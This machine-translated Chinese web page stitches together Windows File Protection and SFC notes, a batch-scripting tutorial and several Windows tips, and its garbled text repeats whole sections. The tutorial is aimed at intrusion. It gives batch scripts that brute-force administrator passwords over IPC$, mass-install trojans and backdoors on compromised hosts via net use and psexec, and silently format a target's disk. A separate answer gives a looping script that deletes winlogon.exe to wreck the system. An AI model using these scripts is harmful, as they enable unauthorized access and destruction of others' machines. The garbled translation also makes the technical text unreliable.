在cmd中如何删除一个文件 cmd下如何删除无限复制的文件,怎么用cmd强制删除文件

WINDOWS所需的文件已被替换 。。。。。急!!!!!!
首先,如果被替换的文件不是关键的系统文件(即系统文件被替换后仍然不影响系统的运行),并且你不喜欢它的提示对话框,这时,你可以关闭它的提示 。-关闭方式是:[点击开始菜单][运行][输入命令:cmd][然后直接在弹出窗口输入命令:sfc /cancel] 。提示符应该是这样的:_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _然后根据提示修复被替换的文件 。…具体可以参考Windows文件保护的工作原理 。…当您安装了一个应用程序,但意外导致Windows崩溃,很可能是该应用程序重写了关键的Windows系统文件,导致系统崩溃 。文档被修改后,结果往往是不可预知的 。系统可能正常运行,或者出现一些错误,或者完全崩溃 。幸运的是,Windows 2000、XP和Server 2003应用了一种称为Windows文件保护(WFP)的机制,可以防止关键的系统文件被覆盖 。在这篇文章中,我将解释什么是WFP以及它是如何工作的 。我还会告诉你如何改变或忽略WFP的行为 。(注意:尽管WFP在Windows 2000、XP和Server 2003上的操作没有区别,但本文中的信息(包括与注册表相关的条目和SFC语法)是针对XP的 。Windows文件保护的工作原理WFP旨在保护Windows文件夹的内容 。WFP保护特定的文件类型,如SYS,EXE,DLL,OCX,FON和TTF,而不是防止整个文件夹的任何修改 。注册表项决定了WFP保护的文件类型 。当应用程序试图替换受保护的文件时,WFP会检查被替换文件的数字签名,以确定该文件是否来自微软以及版本是否正确 。如果两个条件都满足,则允许更换 。正常情况下,允许替换系统文件的文件类型包括Windows的服务包、补丁和操作系统升级 。系统文件也可以由Windows updater或Windows设备管理器/类安装程序替换 。如果这两个条件不同时满足,受保护的文件将被新文件替换,但很快就会被正确的文件替换 。发生这种情况时,Windows将从您计算机上的Windows安装CD或DLLCache文件夹中复制该文件的正确版本 。Windows文件保护不仅通过拒绝修改文件来保护文件,还可以拒绝删除文件 。让我们来看看WFP的做法 。打开WINDOWSSYSTEM32文件夹,将CALC.EXE文件重命名为CALC 。旧当您执行此操作时,会有一条消息提示您更改此文件的扩展名可能会导致此文件不可用 。单击“是”按钮确认该警告 。现在,等待几分钟,然后按F5刷新文件系统的视图 。完成替换可能需要一些时间 。当文件最终被替换时,Windows会在事件日志中做相应的记录 。关于WFP,值得注意的一点是,它与Windows installer紧密集成 。每当Windows installer需要安装一个受保护的文件,它会给WFP,而不是试图安装自己 。然后WFP判断是否允许安装 。系统文件检查虽然自动文件替换可以节省时间,但有些情况需要手动干预 。例如,您可能不想等待WFP来判断受保护的文件是否已被替换 。幸运的是,您可以使用名为系统文件检查(SFC)的工具手动控制WFP 。SFC是一个命令行工具,需要在命令提示符窗口中运行 。它的语法是这样的:SFC[/scannow][/scanonce][/scanboot][/revert][/purge cache][/cachesize=x]/scannow选项告诉SFC立即扫描所有受保护的系统文件 。如果在扫描过程中发现文件的错误版本,错误版本将被替换为正确的Microsoft版本 。当然,这意味着您可能需要一张Windows安装光盘、最新的服务包或升级补丁 。
/SCANONCE参数告诉WFP在下次启动系统时扫描受保护的系统文件 。在扫描过程中,任何错误的文件都将被正确的版本替换 。正如该参数名称所表示的,该扫描仅执行一次 。之后系统启动会恢复正常,SFC不再运行 。/SCANBOOT参数类似于/SCANONCE选项 。不同的是,SCANONCE只在Windows下次启动时扫描受保护的文件,而SCANBOOT参数在每次Windows启动时扫描系统文件 。如有必要,这两个参数将替换错误的系统文件,这可能需要您提供正确文件版本的副本 。/REVERT选项用于关闭SFC 。例如,假设您使用SCANBOOT选项在每次系统启动时扫描所有受保护的文件 。可以想象,它确实增加了计算机启动的总时间 。最后,你可能厌倦了漫长的启动时间,想关闭SFC,只需在启动时使用SFC /REVERT关闭SFC即可 。您需要对/PURGECACHE选项保持谨慎 。在此之前,我解释了Windows使用缓存文件夹来保存各种系统文件的正确版本的备份 。如果运行SFC /PURGECACHE命令,则此文件缓存将被清空,那些备份文件将被删除 。此命令还将导致Windows开始扫描所有类型的受保护文件,并在扫描时重建此文件缓存 。当然,这可能意味着您必须向Windows提供Windows安装光盘或系统文件升级的副本 。最后一个SFC命令选项是/cache=X.关于文件缓存的默认大小,有很多相互矛盾的信息 。在撰写本文时,我发现在三篇不同的Microsoft知识库文章中指定的文件缓存的默认大小是不同的 。一篇文章建议文件缓存大小为50 MB,而另一篇文章建议文件缓存大小为300 MB 。更何况第三条指出这个大小应该是无限的 。实际上,默认值的大小并不重要,因为您可以根据需要使用缓存选项来更改这个文件缓存的大小 。使用缓存选项时,必须键入命令sfc/caching=x,其中x是指要分配给文件缓存的兆字节数 。指定新的文件缓存大小后,必须重新启动系统并运行SFC /PURGECACHE命令 。通过注册表控制WFP和证监会在此之前,我解释了注册表控制WFP的一般行为 。您可以修改几个不同的注册表项来控制WFP的行为 。你可以在每次运行SFC的时候直接操作这些键中的一部分,而另一部分则有更低级的功能 。例如指定文件缓存或安装文件的位置 。修改注册表可能很危险 。如果您进行了错误的修改,可能会导致Windows崩溃或损坏您的应用程序,因此我强烈建议您在尝试本节描述的任何技术之前,对注册表进行完整的备份 。要访问SFC的注册表项,请在Run命令中键入REFEDIT命令 。这将打开注册表编辑器,现在浏览注册表树找到以下键:HKEY _本地_机器软件micoroftwindows ntcurrentversionWinLogon一般情况下,注册表中的WinLogon键一般用于控制各种启动选项 。虽然许多SFC选项可以控制SFC是否在启动时运行,但微软已经将SFC相关的注册表项放在了这一部分 。SFCDisabled该注册表项控制SFC是活动的还是无效的 。实际上,只要改变DWORD的值,就可以得到四个不同的选项 。默认的DWORD值是0 。这个设置激活sfc 。通常你不需要改变这个值 。但是,您可以在0到4之间修改该值来激活SFC,但不要让它弹出 。如果挂起内核调试器,最好关闭SFC,如果使用的是内核调试器,可以将注册表项的DWORD值改为1,这样会关闭SFC,并在每次启动时提示是否再次激活SFC 。还可以通过将DWORD设置为2来关闭SFC 。该选项仅在下次启动时关闭SFC 。没有重新激活SFC的选项,因为在此之后,SFC将在启动时自动激活 。
sfcScan在此之前,我解释了SFC的SCANONCE、SCANBOOT和REVERT选项,只要使用这些选项,SFC实际上就是在修改SFCScan注册表项 。您可以通过更改其DWORD赋值来修改该键 。的默认值为0 。该值意味着启动时不需要扫描受保护的文件 。此设置相当于运行SFC /REVERT命令 。将DWORD值更改为1意味着每次启动时都要扫描受保护的文件 。将SFCScan的值设置为1相当于运行SFC /SCANBOOT命令 。最后,将DWORD值设置为2会告诉SFC在下次启动时扫描受保护的文件,但不是所有后续启动 。这相当于运行SFC /SCANONCE命令 。SFCQuota SFCQuota注册表项用于控制SFC文件缓存的大小 。大家可能还记得我之前讲sfc/cache=x命令的时候提到过,关于文件缓存的默认大小有很多不一致的信息 。但是,在我的系统上,注册表项SFCQuota的DWORD值默认为0xffffffff 。根据Microsoft知识库,该值对应于300 MB的文件缓存大小 。同一知识库中的一篇文章指出,通过将该值更改为FFFFFFFF,可以缓冲所有受保护的系统文件 。在此之前,我解释过Windows使用SFCDllCacheDir文件夹作为存储系统文件的备份位置 。通常,该文件夹位于WINDOWSSYSTEM32目录中 。但是,通过修改SFCDllCacheDir注册表项,可以修改文件缓存位置 。文件缓存文件夹通常位于DLLCACHE目录中,但是您可以通过修改该注册表项来修改该文件夹的位置 。唯一需要注意的是,您必须指定一个在本地硬盘上已经存在的地址 。在Windows 2000中,您可以指定一个网络共享作为DLLCACHE的路径,但是在Windows XP中该选项不可用 。Sfchowprogress与SFC相关的另一个注册表项是SFCShowProgress项 。该注册表项允许您将其DWORD值设置为0或1 。默认值为0,这将禁止显示SFC的进度 。值1允许SFC显示进度 。在此之前,我解释了WFP和SFC的工作原理 。我指出,在某些情况下,您可能必须提供Windows安装CD或有效源文件的副本 。但是,通过修改注册表,完全可以向Windows指示源文件目录,而Windows不会再次要求您提供这些文件 。该注册表项在注册表的另一部分 。您必须找到以下注册表项:HKEY _本地_计算机软件软件Windows微软WindowsCurrentVersionSetup找到该位置后,您可以使用驱动器号或路径或UNC来指定Windows系统文件的位置 。使用这个命令的前提是,您必须将文件放在名为I386的目录中 。例如,如果您的Windows系统文件位于名为C:I386的目录中,那么您只需在注册表中将路径指定为C:即可,因为Windows假定I386目录存在 。同样,如果您打算使用UNC共享,I386文件夹必须存在于共享目录中 。例如,如果您打算共享的目录名为FILES,您需要将I386文件夹放在FILES目录中 。然后,您可以告诉Windows在\server_nameFILES目录中查找共享文件 。Windows将在\ server _ nameFILESI386目录中查找系统文件 。
批处理详解
最近关于批处理技术的讨论比较热,已经发布了很多不错的批处理程序 。但是,如果你没有一些相关的知识,恐怕阅读和理解这些批处理文件并不容易,更不要说自己编写了 。古语有云:“授人以鱼不如授人以渔 。”因为网上好像没有比较完整的教材,所以花了一些时间写了这个简明的批量教程给新手朋友 。也献给所有为实现网络的自由和共享而努力的朋友们 。批处理文件是包含一个或多个命令的无格式文本文件 。它的文件扩展名是 。蝙蝠还是 。cmd 。在命令提示符下键入批处理文件的名称,或者双击批处理文件,系统将调用Cmd.exe,按照文件中出现的顺序逐一运行文件中的所有命令 。使用批处理文件(也称为批处理程序或脚本)可以简化日常或重复性任务 。当然,我们版本的主要内容是介绍批处理在入侵中的一些实际应用,比如用批处理文件给系统打补丁,批量植入后门程序,这些我们后面会提到 。开始我们的批量学习之旅吧 。1.简单批处理的内部命令介绍1 。Echo命令打开请求的回显或关闭回显功能,或显示消息 。如果没有参数,echo命令将显示当前的echo设置 。语法echo[{ on | off }][message]sample:@ echo off/echo hello world在实际应用中,我们会将该命令与重定向符号(也称为管道符号,一般使用)相结合,将一些命令输入到特定格式的文件中 。这将反映在今后的例子中 。2.@命令意味着@后面的命令将不显示 。在入侵的过程中(比如用批处理格式化敌人的硬盘),自然对方看不到你用的命令 。示例:@ echooff @ echonow正在初始化程序,请稍等.@ formatx:/q/u/autoset (format此命令不能使用/y参数 。还好微软给我们留了一个autoset参数,效果和/y一样)3 。三号 。Goto命令指定跳转到标签 。找到标签后,程序将处理下一行的命令 。语法:goto label (label是一个参数,它指定批处理程序中要转到的行 。)示例:if { %1 }={ } gotonoparms if { %2 }={ } gotonoparms(如果你不明白这里的if,% 1,% 2,先跳过,后面会有详细解释 。)@ remcheck参数if null show用法:nopalms echo用法:monitor.bat服务器IP端口号gotoend标签可以随便命名,但最好是有意义的字母 。a:加在字母前面表示这个字母是标签,goto命令就是基于这个:找到下一步跳到那里 。最好有一些解释,这样你和其他人看起来会明白你的意图 。4.Rem命令注释命令,相当于C语言中的/*-*/不会被执行 。只作为评论给别人看,也作为你自己以后的修改 。Rem消息示例:Rem以下是描述 。5.Pause命令当您运行Pause命令时,将显示以下消息:按任意键继续.sample: @ echooff: begin a: * 。* d: \ Back echo请将新磁盘放入驱动程序A暂停转到开始在此示例中,驱动器A中磁盘上的所有文件都被复制到d: \ Back 。当显示的注释提示您将另一个磁盘放入驱动器A时,pause命令将暂停程序,以便您可以更换磁盘,然后按任意键继续处理 。6.六号 。Call命令从一个批处理程序调用另一个批处理程序,并且不会终止父批处理程序 。call命令接受用作调用目标的标签 。如果在脚本或批处理文件之外使用Call,它将不会在命令行上工作 。语法call[[Drive:][Path]FileName[batch parameters]][:label[arguments]]parameter[Drive:}[Path]FileName指定要调用的批处理程序的位置和名称 。filename参数必须有一个. bat或 。cmd扩展 。7.start命令调用外部程序,所有的DOS命令和命令行程序都可以被start命令调用 。
常用的入侵参数:MIN,在开始时最小化窗口,SEPARATE,在单独的空间中启动16位Windows程序,HIGH,启动高优先级类别的应用程序,REALTIME,启动实时优先级类别的应用程序,等待它结束,参数,当这些为传递给命令/程序的参数执行的应用程序是32位GUI应用程序时,CMD.EXE返回命令提示符,而不等待应用程序终止 。如果在命令脚本中执行,这种新行为将不会发生 。8 .选择命令选择使用这个命令让用户输入一个字符,从而运行不同的命令 。使用时要加/c:参数,在c:后面要写提示输入的字符,字符之间不能有空格 。它的返回码是1234 …比如:choice /c:dme defrag,mem,end会显示defrag,mem,end[D,M,E]?Sample:Sample.bat有以下内容:@echo off choice /c:dme defrag,mem,End error level 3 goto defrag if error level 2 goto mem if error level 1 goto End:defrag c:\ dos \ defrag goto End:mem mem goto End:End echo good bye这个文件运行后,会显示defrag,mem,end[D,M,E]?用户可以选择d m e,然后if语句会做出判断,d代表执行标签为defrag的程序段,m代表执行标签为mem的程序段,e代表执行标签为end的程序段 。每个程序段结束时,程序会用goto end跳转到结束标签,然后程序会显示good bye,文件结束 。9.if命令if表示将判断是否满足指定的条件,从而决定执行不同的命令 。有三种格式:1 。if” parameter”==” string “ 。如果要执行的命令的参数等于指定的字符串,则满足条件 。运行命令,否则,运行下一句 。(注意if存在两个等号)例如,if ” % 1 “=” A ” format A:if { % 1 }={ } gotonoparms if { % 2 }={ } gotonoparms 2,如果存在指定的文件,则满足条件 。运行命令,否则,运行下一句 。如ifexistconfig . syseditconfig . sys 3,if errorlevel/if not errorlevel数字 。如果返回代码等于指定的数字,则满足条件 。运行命令,否则,运行下一句 。例如,如果errorlevel 2 goto x2 DOS程序在运行时会向DOS返回一个数字,称为errorlevel或返回代码 。常见的返回代码是0和1 。10.for命令for命令是一个复杂的命令,主要用于循环执行带有指定范围内参数的命令 。在批处理文件中使用FOR命令时,在(set) do命令[命令行选项]% variable中使用% % variable FOR { % variable | % variable }来指定单个字母的可替换参数 。(set)指定一个或一组文件 。可以使用通配符 。Command指定要对每个文件执行的命令 。Command-parameters为特定命令指定参数或命令行开关 。在批处理文件中使用FOR命令时,请使用%%variable而不是%variable来指定变量 。变量名区分大小写,因此%i不同于% i,如果启用了命令扩展,将支持以下附加FOR命令格式:FOR/d % variable in(set)do command[command-parameters]如果集包含通配符,请指定匹配目录名而不是文件名 。FOR/r [[drive:]path]%变量in(set)do command[command-检查以[drive:]path为根的目录树,指向每个目录中的FOR语句 。如果在/R后没有指定目录,则使用当前目录 。如果集合只是一个点( 。)字符,枚举目录树 。For/l% variable in (start,step,end) do command [command-para]此集合以增量形式表示从开始到结束的一系列数字 。所以,(1,1,5)会产生序列1 2 3 4 5,(5,-1,1)会产生序列(5 4 3 2 1) 。FOR/F[” options “]% variable IN(file-set)DO command FOR/F[” options “]% variable IN(” string “)DO command FOR/F[” options “]% variable IN(command)DO command or,With use backq option:FOR/F[” options “]% variable IN(file-set)DO command FOR/F[” options “]% variable IN(” string “)DO command FOR/F[” options “]]% variable IN(command)DO command filename set是一个或多个文件名 。
在处理filenameset中的下一个文件之前,已经打开、读取和处理了每个文件 。包括处理读取的文件,将其分成文本行,然后将每行解析成零个或多个符号 。然后用找到的符号字符串变量值调用For循环 。默认情况下,/F会通过每个文件每行中分隔的第一个空白符号 。跳过空行 。您可以通过指定可选的“options”参数来覆盖默认的解析操作 。这个带引号的字符串包含一个或多个指定不同解析选项的关键字 。这些关键字是:eol=c-指的是行注释字符的结尾(只有一个)skip=n-指的是文件开头忽略的行数 。delims=XXX-表示分隔符集 。这将替换默认的空格和tab键分隔符集 。Tokens=x,y,m-n-指的是每一行的哪个符号被传递给每次迭代的for自身 。这将导致额外变量名的格式为一个范围 。通过用第n个符号指定M符号串中的最后一个字符星号,额外的变量将在最后一个符号解析中分配,并接受该行的保留文本 。use backq-指定新语法已用于以下情况:执行带反引号的字符串作为命令,并且引号字符是文字字符串命令,并允许双引号在fi中扩展文件名 。样品1:FOR/F ” eol=;Tokens=2,3 * delims=,” % I in (myfile.txt) do命令将分析myfile.txt中的每一行,忽略那些以分号开头的行,并将每行中的第二个和第三个符号传递给for程序体;使用逗号和/或空格来分隔符号 。请注意,for程序体的这个语句引用%i来获取第二个符号,%j来获取第三个符号,%k来获取第三个符号之后的所有剩余符号 。对于带有空格的文件名,需要用双引号将文件名括起来 。为了以这种方式使用双引号,您还需要使用usebackq选项 。否则,双引号将被理解为定义要分析的字符串 。%i是在for语句中指定的,%j和%k是由tokens=option指定的 。tokens=line最多可以指定26个符号,只要不试图解释高于字母Z或Z的变量,记住FOR变量是单字母的,区分大小写,全局的;同时使用的不能超过52个 。还可以对相邻字符串使用FOR /F解析逻辑;方法是用单引号将filenameset括在括号中 。这样,字符串将被视为文件中的单个输入行 。最后,您可以使用FOR /F命令来分析该命令的输出 。方法是将括号中的filenameset转换成一个解构的字符串 。该字符串将作为命令行传递给子CMD.EXE,其输出将被捕获到内存中并作为文件进行分析 。所以下面这个例子:for/f ” usebackq delims==” % I in(` set `)do @ echo % I将枚举当前环境中环境变量的名称 。此外,还增强了对变量引用的替换 。现在您可以使用以下选项语法:~ I-删除任何引号(“),展开%I % ~ fI-将%I展开为完全限定的路径名% ~ dI-仅将%I展开为驱动器号% ~ pI-仅将%I展开为路径% ~ nI-仅将%I展开为文件名% ~ Xi-仅将% I展开为文件扩展名% ~ sI-展开的路径仅包含短名称 。attribute % ~ tI-date/time % ~ zI-将%I展开到文件大小% ~ $ PATH:I-找到PATH环境变量中列出的目录,将%I展开到找到的第一个完全限定名 。如果环境变量未定义,或者找不到文件,该组合键将扩展空字符串 。修饰符可以组合起来得到多个结果:% ~仅dpI % I被展开为驱动器号和路径% ~仅nxI % I被展开为文件名和扩展名% ~仅fsI % I被展开为具有短名称% ~ DP $ PATH:I-在%~ftzaI-extend %I中找到列表到类似输出行的DIR 。在上面的例子中,%I和PATH可以替换为其他有效值 。
% ~语法以有效的FOR变量名结束 。像%I这样的大写变量名更容易阅读,并且避免与不区分大小写的组合键混淆 。以上是MS的官方帮助,下面举几个例子来说明入侵中For命令的使用 。示例2:使用For命令实现对目标Win2k主机的暴力密码破解 。我们使用net use \ \ IP \ IPC $ ” password “/u:” administrator “来尝试连接目标主机,并在成功时记下密码 。最重要的命令是一个:for/f i% in(dict . txt)do net use \ \ IP \ IPC $ ” I % “/U:” administrator “用I %表示admin的密码 。在dict.txt中,I%的这个值是通过net use命令连接的 。然后将程序运行结果传递给find命令-for/f I % % in(dict . txt)do net use \ \ IP \ IPC $ ” I % % “/U:” Administrator ” | Find “:命令成功完成” D:\ok.txt,这就ko了 。样本三:你有没有过一大批肉鸡等着你去种后门+木马?量特别大的时候,原本很开心的事情都会变得很压抑:) 。在文章的开始,我们谈到了使用批处理文件,它可以简化日常或重复性的任务 。那么如何实现呢?哈哈,你看下去就知道了 。主命令只有一个:(在批处理文件中使用FOR命令时,指定变量使用%%variable)@for /f “tokens=1,2,3 delims=” % % I in(victim . txt)do start call door . bat % % I % % j % % k tokens 。用法请参考上面的sample1,这里是指将victim.txt的内容按顺序传递给door.bat中的参数%i %j %k 。而cultivate.bat无非是用net use命令建立IPC$连接,并木马+后门到受害者,然后用返回代码(If errorlever=)筛选成功植入后门的主机,并回显出来,或者回显到指定文件 。Delims=表示vivtim.txt中的内容由空格分隔 。我想你看到这里一定明白这个victim.txt的内容是什么样的了 。应该是按照%%i %%j %%k代表的对象来排列的,一般是ip密码用户名 。原型代码:-在此处剪切,然后保存为批处理文件(我称之为main . bat)-@ echo off @ if ” % 1f ” tokens=1,2,3 delims=” % % I in(victim . txt)do start调用ipchack . bat % % I % % j % % k @ goto end:usage @ echo在dos模式下运行此批处理,或者直接双击它 。end -在此处剪切,然后保存一个批处理文件(我称之为main.bat ) -在此处剪切,然后保存为批处理文件(我称之为door . bat)-@ net use \ \ % 1 \ ipc$ % 3/u:” % 2 ” @如果错误级别1 goto失败@echo尝试建立IPC $连接……OK @ wind RV 32 . exe \ \ % 1 \ admin $ \ system32如果不错误级别1 echo IP %1用户% 2 PWD % 3 ko . txt @ psexec \ \ % 1 c:\ win nt-切到这里然后另存为批处理文件(我叫它door.bat) -比如增加清除日志DDOS的功能,增加定期添加用户的功能,让它有自动传播(worm)的功能稍微深入一点 。这里不多描述,有兴趣的朋友可以自行研究 。No.2如何在批处理文件中使用参数在批处理中可以使用9个参数,一般在1%到9%之间 。当有多个参数时,需要使用shift来移动它们 。这种情况很少见,我们
sample 1:fomat . bat @ echo off if ” % 1 “=” a ” format a:format @ format a:/q/u/ot set @ echo请再插入一张磁盘到驱动程序a. @ pause @ gotofomat这个例子是用来连续格式化几张软盘的,所以使用的时候需要在dos窗口输入fomat.bat a,呵呵,好像画蛇添足~ _ Sample2:当我们要建立IPC$连接的时候,总是要输入一堆命令,搞不好就搞所以我们不妨把一些固定的命令写成一个批处理,把肉鸡的ip密码用户名作为参数赋给这个批处理,这样就不用每次都敲命令了 。@ echo off @ netuse \ \ 1% \ IPC $ ” 2% “/U:” 3% “注意,PASSWORD是这里的第二个参数 。@ iferrorlevel1回显连接失败怎么样?用参数比较简单吧?你太帅了,一定学过^_^.No.3三世 。如何使用复合命令)1 。用法:第一个命令和第二个命令[第三个命令.]这样,您可以同时执行多个命令,而不管这些命令是否成功执行 。示例:C:\ dir z:dir C:\:dir C:\ ex 4 rch系统找不到指定的路径 。驱动器C中的卷没有标签 。卷序列号是c的0078-59 FB目录:\ ex rch 2002-05-14 23:51.2002-05-14 23:51.2002-05-14 23:51 14 sometips . gif 2 .用法:第一个命令,第二个命令[第三个命令.]使用这种方法可以同时执行多个命令 。示例:C:\ dir z:dir C:\ ex 4 rch系统找不到指定的路径 。C:\dir c:\ Ex4rch dir z:驱动器C中的卷没有标签 。卷序列号为0078-59fb目录c:\ Ex4rch2002-05-14 23:55.系统找不到指定的路径 。在进行备份时,使用该命令相对简单 。例如:dirfile://192 . 168 . 0 . 1/database/backup.mdb file://192 . 168 . 0 . 1/database/backup . mdbe:\ backup如果远程服务器上存在backup . MDB文件,则执行该命令;否则,该命令将不会执行 。这种用法可以替换如果存在:)3 。||用法:第一个命令||第二个命令[||第三个命令.]这样,可以同时执行多个命令 。当正确的命令被执行时,下面的命令将不会被执行;如果没有出现正确的命令,所有的命令都会一直执行;示例:C:\ ex 4 rchdir sometips . gif | | del sometips . gif驱动器C中的卷没有标签 。卷序列号是0078-59fb C的目录:\ ex rch 2002-05-14 23:55 14 sometips . gif 1文件14字节0 dir 768,696,320字节可用的组合命令示例:示例:@ trojan.exe \ \ % 1 \ admin $ \ system32如果不是错误级别1回显IP % 1用户
怎么把光盘里的加密东西复制到电脑
1.通过DOS命令复制方法,查看电脑中的加密光盘文件目录,可以发现vcd光盘中有四个文件夹:ext、segment、VCD和mpegav 。和视频文件通常位于mpegav文件夹中 。2.不过可以通过DOS命令复制,打开运行窗口,输入CMD进入MSDOS界面 。3.在打开的MSDOS界面中,输入命令x:\mpegav\* 。* d:\并按Enter键将CD中mpegav文件夹中的视频复制到D盘 。其中X代表CD驱动器号 。4.最后进入D盘,就可以查看复制的光盘视频文件了 。

在cmd中如何删除一个文件 cmd下如何删除无限复制的文件,怎么用cmd强制删除文件

文章插图
如何破坏电脑系统???
一种方法(建议先在虚拟机上试试)是打开System32文件夹,找到Winlogon.exewinlogon.exe,给自己分配所有权,给自己分配所有权,给自己分配完全控制权,写一个批处理文件 。打开cmd.exe,输入这些内容:echo @ echooff c: \ 0.bat .然后打开c盘的根目录,找到0.bat(注意后缀 。蝙蝠可能不显示),然后右键单击进行编辑 。add:loop del/f/q % windir % \ system32 \ winlogon.exe goto loop,然后保存,打开,打开,批处理,拒绝访问?没关系,那是因为Winlogon.exe在跑 。打开任务管理器,找到Winlogon.exe,然后单击结束进程结束进程 。你看到黑屏了吗?如果流程结束后屏幕黑屏甚至蓝屏,那就成功了 。当屏幕蓝屏重启后,你会陷入无限蓝屏系统,挂机或者进入BIOS,魔法改变里面的所有选项,十有八九电脑会损坏 。但是,我建议你不要过度 。以上方法仍然可以把硬盘挂在其他电脑上复制所有数据,也就是说他的所有数据仍然是安全的 。这一点很重要,否则你的行为就是违法的 。注:使用上述方法造成的损失,本人概不负责 。请做好备份 。建议在虚拟机中试用 。
文件如何批量改名
1.首先,我们将所有要更改名称的文件复制到同一个文件夹中 。2.然后我们把它们都选中,然后点击鼠标右键,选择其中的“重命名” 。3.比如我们在这里输入“焦点访谈”这个词,然后点击回车键 。4.我们发现所有的名字都被改了,系统自动给我们输入的名字加上(1)(2)……(10) 。
在cmd中如何删除一个文件 cmd下如何删除无限复制的文件,怎么用cmd强制删除文件

文章插图
Windows文件保护 怎么解决
有四种方法:1 。插入系统安装光盘,并运行sfc /scannow命令来检测和修复可能已损坏或更改的系统文件 。2.在开始运行对话框中键入“gpedit.msc”,打开“本地计算机策略计算机配置管理模板系统”窗口,找到“Windows文件保护”,双击右窗格中的“设置Windows文件” 。3.打开“注册表编辑器”,在[HKEY _本地_机器\软件\微软\ Windows NT \当前版本\ winlogon]的右边窗口找到“SFCDisable”的键值,将其改为“ffffff9d” 。如果您需要重新启用此功能,只需将其重置为“0” 。4.首先,如果被替换的文件不是关键的系统文件(即系统文件被替换后仍然不影响系统的运行),并且你不喜欢它的提示对话框,这时,你可以关闭它的提示 。-关闭方式是:[点击开始菜单][运行][输入命令:cmd][然后直接在弹出窗口输入命令:sfc /cancel] 。提示符应该是这样的:_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _然后根据提示修复被替换的文件 。…具体可以参考Windows文件保护的工作原理 。…当您安装了一个应用程序,但意外导致Windows崩溃,很可能是该应用程序重写了关键的Windows系统文件,导致系统崩溃 。文档被修改后,结果往往是不可预知的 。系统可能正常运行,或者出现一些错误,或者完全崩溃 。幸运的是,Windows 2000、XP和Server 2003应用了一种称为Windows文件保护(WFP)的机制,可以防止关键的系统文件被覆盖 。在这篇文章中,我将解释什么是WFP以及它是如何工作的 。我还会告诉你如何改变或忽略WFP的行为 。(注意:尽管WFP在Windows 2000、XP和Server 2003上的操作没有区别,但本文中的信息(包括与注册表相关的条目和SFC语法)是针对XP的 。Windows文件保护的工作原理WFP旨在保护Windows文件夹的内容 。WFP保护特定的文件类型,如SYS,EXE,DLL,OCX,FON和TTF,而不是防止整个文件夹的任何修改 。注册表项决定了WFP保护的文件类型 。当应用程序试图替换受保护的文件时,WFP会检查被替换文件的数字签名,以确定该文件是否来自微软以及版本是否正确 。如果两个条件都满足,则允许更换 。正常情况下,允许替换系统文件的文件类型包括Windows的服务包、补丁和操作系统升级 。系统文件也可以由Windows updater或Windows设备管理器/类安装程序替换 。如果这两个条件不同时满足,受保护的文件将被新文件替换,但很快就会被正确的文件替换 。发生这种情况时,Windows将从您计算机上的Windows安装CD或DLLCache文件夹中复制该文件的正确版本 。Windows文件保护不仅通过拒绝修改文件来保护文件,还可以拒绝删除文件 。让我们来看看WFP的做法 。打开WINDOWSSYSTEM32文件夹,将CALC.EXE文件重命名为CALC 。旧当您执行此操作时,会有一条消息提示您更改此文件的扩展名可能会导致此文件不可用 。单击“是”按钮确认该警告 。现在,等待几分钟,然后按F5刷新文件系统的视图 。完成替换可能需要一些时间 。当文件最终被替换时,Windows会在事件日志中做相应的记录 。关于WFP,值得注意的一点是,它与Windows installer紧密集成 。每当Windows installer需要安装一个受保护的文件,它会给WFP,而不是试图安装自己 。然后WFP判断是否允许安装 。系统文件检查虽然自动文件替换可以节省时间,但有些情况需要手动干预 。
例如,您可能不想等待WFP来判断受保护的文件是否已被替换 。幸运的是,您可以使用名为系统文件检查(SFC)的工具手动控制WFP 。SFC是一个命令行工具,需要在命令提示符窗口中运行 。它的语法是这样的:SFC[/scannow][/scanonce][/scanboot][/revert][/purge cache][/cachesize=x]/scannow选项告诉SFC立即扫描所有受保护的系统文件 。如果在扫描过程中发现文件的错误版本,错误版本将被替换为正确的Microsoft版本 。当然,这意味着您可能需要一张Windows安装光盘、最新的服务包或升级补丁 。/SCANONCE参数告诉WFP在下次启动系统时扫描受保护的系统文件 。在扫描过程中,任何错误的文件都将被正确的版本替换 。正如该参数名称所表示的,该扫描仅执行一次 。之后系统启动会恢复正常,SFC不再运行 。/SCANBOOT参数类似于/SCANONCE选项 。不同的是,SCANONCE只在Windows下次启动时扫描受保护的文件,而SCANBOOT参数在每次Windows启动时扫描系统文件 。如有必要,这两个参数将替换错误的系统文件,这可能需要您提供正确文件版本的副本 。/REVERT选项用于关闭SFC 。例如,假设您使用SCANBOOT选项在每次系统启动时扫描所有受保护的文件 。可以想象,它确实增加了计算机启动的总时间 。最后,你可能厌倦了漫长的启动时间,想关闭SFC,只需在启动时使用SFC /REVERT关闭SFC即可 。您需要对/PURGECACHE选项保持谨慎 。在此之前,我解释了Windows使用缓存文件夹来保存各种系统文件的正确版本的备份 。如果运行SFC /PURGECACHE命令,则此文件缓存将被清空,那些备份文件将被删除 。此命令还将导致Windows开始扫描所有类型的受保护文件,并在扫描时重建此文件缓存 。当然,这可能意味着您必须向Windows提供Windows安装光盘或系统文件升级的副本 。最后一个SFC命令选项是/cache=X.关于文件缓存的默认大小,有很多相互矛盾的信息 。在撰写本文时,我发现在三篇不同的Microsoft知识库文章中指定的文件缓存的默认大小是不同的 。一篇文章建议文件缓存大小为50 MB,而另一篇文章建议文件缓存大小为300 MB 。更何况第三条指出这个大小应该是无限的 。实际上,默认值的大小并不重要,因为您可以根据需要使用缓存选项来更改这个文件缓存的大小 。使用缓存选项时,必须键入命令sfc/caching=x,其中x是指要分配给文件缓存的兆字节数 。指定新的文件缓存大小后,必须重新启动系统并运行SFC /PURGECACHE命令 。通过注册表控制WFP和证监会在此之前,我解释了注册表控制WFP的一般行为 。您可以修改几个不同的注册表项来控制WFP的行为 。你可以在每次运行SFC的时候直接操作这些键中的一部分,而另一部分则有更低级的功能 。例如指定文件缓存或安装文件的位置 。修改注册表可能很危险 。如果您进行了错误的修改,可能会导致Windows崩溃或损坏您的应用程序,因此我强烈建议您在尝试本节描述的任何技术之前,对注册表进行完整的备份 。要访问SFC的注册表项,请在Run命令中键入REFEDIT命令 